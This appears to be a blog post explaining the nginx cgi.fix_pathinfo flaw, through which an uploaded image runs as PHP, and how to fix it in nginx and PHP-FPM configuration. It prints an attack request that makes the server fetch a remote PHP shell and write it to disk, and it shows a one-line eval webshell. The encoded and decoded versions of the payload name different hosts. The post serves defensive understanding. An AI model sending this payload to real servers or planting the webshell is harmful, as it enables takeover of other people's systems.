If I read it correctly, the cgi.fix_pathinfo security issue was brought into discussion by laruence in late May, 2010 that with SCRIPT_FILENAME set by greedy regular expression capturing, PHP web application is vulnerable to backdoor attachment attack. His points were supplemented by another post claiming that PHP scripts is always vulnerable with cgi.fix_pathinfo enabled, regardless of Nginx configuration.

Let’s recap the issue. Having made backdoor.jpg into position, say by normal upload process, the attacker is able to install his phpshell by:

POST /upload/backdoor.jpg/1.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 152

pass=fwrite%28fopen%28%22.%2Fx.php%22%2C+%22w%22%29%2Cfile_get_contents%28%22http%3A%2F%2Fkaiwangchen.com%2Ffiles%2F2012%2F10%2Fphpshell.txt%22%29%29%3B

The text value could be decoded as

fwrite(fopen("./x.php", "w"),file_get_contents("http://kaiwangchen.github.io/files/2012/10/phpshell.txt"));

With the following minimal configuration snippet,

location ~ \.php$ {
    fastcgi_pass  127.0.0.1:9000;
    fastcgi_index index.php;
    fastcgi_param  PATH_TRANSLATED    $document_root$fastcgi_script_name;
    fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
    fastcgi_param  PATH_INFO          $fastcgi_path_info;
    fastcgi_param  REQUEST_METHOD     $request_method;
}

the request URI is automatically split into $fastcgi_script_name and $fastcgi_path_info, which are /upload/backdoor.jpg/1.php and empty string respectively. That way, the PHP backend is asked to execute script file $document_root/upload/backdoor.jpg/1.php, however, the script does not exist. With cgi.fix_pathinfo enabled, it will try upwards to the parent path, where is an JPG picture containing a malicious string like <?php eval($POST['pass'])?>. The picture file will be taken as a PHP script, and the POST‘ed value is eval‘ed to do anything the attacker like.

It is clear that the problem is wrong SCRIPT_FILENAME. Since version 0.7.31 released on 19 Jan 2009, Nginx provides fastcgi_split_path_info to allow the setting of the SCRIPT_NAME, PATH_INFO and PATH_TRANSLATED (a.k.a the non-standard SCRIPT_FILENAME) variables of the CGI specification. If the web application is well organized, for instance, CodeIgniter comes with a front controller, the splitting could be strictly configured to avoid the issue

fastcgi_split_path_info ^(/index.php)(.*);

Otherwise, with a loose design, the only way is to disable the cgi.fix_pathinfo feature. Good news is that a new php-fpm configururation option, security.limit_extensions, is introduced in PHP 5.3.9 on Jan 10, 2012 to alleviate the issue. It by default allows only .php as file suffix when trying upwards the translated path, as a result, the attacker will be prompted access denied.

Alternatively, try_files could be used to assure the existence of scripts from Nginx:

try_files $uri $uri/ /index.php;
location ~* \.php {
   # fastcgi_pass ...
}

Eventually, as the upload directory is usually explict, it can be catogorized into those for static files with an empty prefix-matching location directive, thus disabling any PHP interpretation:

location ^~ /upload { }

Good luck.